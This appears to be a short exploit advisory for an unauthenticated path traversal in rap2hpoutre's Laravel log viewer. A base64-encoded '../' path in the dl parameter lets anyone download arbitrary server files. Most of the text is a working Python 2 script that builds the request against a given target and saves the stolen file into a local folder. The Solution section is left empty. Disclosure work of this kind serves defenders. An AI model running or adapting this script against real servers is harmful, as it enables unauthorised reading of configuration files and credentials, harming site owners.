1. Description  
  
Unauthorized user can access Laravel log viewer by rap2hpoutre and use download function to download any file with laravel permission, by base64 encode the wanted file.  
  
  
2. Proof of Concept  
  
#After providing the url of the vulnerable laravel log viewer by rap2hpoutre (with / in the end or you can edit it yourself), and the file wanted including "../" the script will create a folder and save the downloaded file there  
  
import os  
import base64  
from urllib2 import urlopen, URLError, HTTPError  
import argparse  
import cookielib  
parser = argparse.ArgumentParser(description='_0_ Laravel 0Day _0_')  
parser.add_argument("-u", action="store", dest="url", help="Target URL", required=True)  
parser.add_argument("-f", action="store", dest="file", help="Target File", required=True)  
  
args = parser.parse_args()  
url = str(args.url).strip()+"/logs/?dl="  
final_file= args.file  
if not os.path.exists("./0Grats0"):  
os.makedirs("./0Grats0")  
  
word = str(args.file).split('/')  
word1= "./0Grats0/"+word[-1]  
finalee=url+base64.b64encode(final_file)  
  
try:  
f = urlopen(finalee)  
with open(word1, "wb") as local_file:  
local_file.write(f.read())  
except HTTPError, e:  
print "HTTP Error:", e.code, finalee  
except URLError, e:  
print "URL Error:", e.reason, finalee  
  
  
  
  
  
3. Solution:
